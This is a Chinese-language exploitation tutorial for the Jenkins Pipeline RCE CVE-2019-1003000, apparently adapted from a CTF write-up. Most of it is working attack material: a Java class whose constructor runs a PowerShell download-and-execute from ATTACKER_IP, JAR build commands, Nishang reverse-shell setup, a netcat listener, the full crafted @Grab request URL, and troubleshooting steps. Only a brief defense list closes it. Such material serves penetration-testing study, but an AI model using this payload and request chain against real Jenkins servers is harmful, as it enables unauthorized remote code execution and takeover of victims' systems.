再探Jenkins RCE
字数 1402 2025-08-26 22:11:28
Jenkins RCE漏洞(CVE-2019-1003000)利用教学文档
漏洞概述
Jenkins Pipeline特性中存在一个远程代码执行漏洞(CVE-2019-1003000),允许攻击者通过未经验证的GET请求执行Groovy脚本。该漏洞利用Groovy的@Grab注释调用Grape(JAR依赖管理工具)下载并执行恶意JAR文件。
漏洞背景
- 漏洞组件:Jenkins Pipeline (使用Groovy实现)
- 漏洞根源:未经验证的GET请求可作为Groovy元编程输入
- 关键利用点:
@Grab注释可调用Grape下载并执行远程JAR文件 - 影响版本:特定版本的Jenkins Pipeline插件
漏洞利用前提条件
- 目标Jenkins实例未启用身份验证或存在认证绕过
- 目标服务器能够访问攻击者控制的HTTP服务器
- 目标Jenkins运行在Java 8环境(注意Java版本兼容性)
漏洞利用步骤详解
1. 环境准备
攻击者需要准备:
- 一台可被目标访问的HTTP服务器
- 用于接收反向连接的监听器
- 正确版本的Java开发环境(建议Java 8)
2. 构造恶意JAR文件
2.1 编写恶意Java类
创建Orange.java文件,内容如下:
public class Orange {
public Orange(){
try {
String payload = "powershell iex(new-object net.webclient).downloadstring('http://ATTACKER_IP/shell.ps1')";
String[] cmds = {"cmd", "/c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
注意:
- 替换
ATTACKER_IP为攻击者IP - 对于Linux目标,可使用bash命令替代powershell
2.2 编译Java类
使用Java 8编译(确保class文件版本兼容):
javac Orange.java
2.3 创建必要的元数据
mkdir -p META-INF/services/
echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
2.4 打包JAR文件
jar cvf 0xdf-223.jar Orange.class META-INF
3. 准备PowerShell反向Shell
使用Nishang的Invoke-PowerShellTcp.ps1脚本:
- 复制脚本并重命名为
shell.ps1 - 在文件末尾添加反向连接命令:
Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER_IP -Port 443
4. 设置HTTP服务器
- 创建JAR文件的目录结构:
mkdir -p tw/orange/0xdf/223/
mv 0xdf-223.jar tw/orange/0xdf/223/
- 启动Python HTTP服务器:
python3 -m http.server 80
- 在另一终端启动Netcat监听器:
nc -lnvp 443
5. 发送恶意请求
构造并发送以下URL请求(URL编码):
http://TARGET_IP:PORT/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name='orange.tw',%20root='http://ATTACKER_IP/')%0A@Grab(group='tw.orange',%20module='0xdf',%20version='223')%0Aimport%20Orange;
解码后的Groovy脚本:
@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://ATTACKER_IP/')
@Grab(group='tw.orange', module='0xdf', version='223')
import Orange;
6. 触发RCE
当目标访问该URL时:
- Jenkins会尝试从攻击者服务器下载JAR文件
- 下载执行后,会进一步下载并执行
shell.ps1 - 攻击者获得反向Shell连接
故障排除
Java版本问题
如果遇到类似错误:
java.lang.UnsupportedClassVersionError: Orange是由Java运行时的最新版本(class file版本55.0)编译的...
解决方案:
- 确保使用Java 8编译(版本52)
- 在Kali中切换Java版本:
sudo update-alternatives --config javac
# 选择Java 8对应的选项
JAR文件更新问题
Grape会缓存已下载的模块,如需更新JAR:
- 增加版本号(如从223改为224)
- 重新编译打包JAR
- 创建新的目录结构
- 更新URL中的版本号
防御措施
- 启用Jenkins身份验证
- 限制对
/securityRealm等敏感路径的访问 - 及时更新Jenkins及Pipeline插件
- 监控异常的网络连接(特别是对外部JAR的下载)
参考链接
- 原始漏洞分析:https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
- CVE-2019-1003000详细信息:https://nvd.nist.gov/vuln/detail/CVE-2019-1003000
- Nishang项目:https://github.com/samratashok/nishang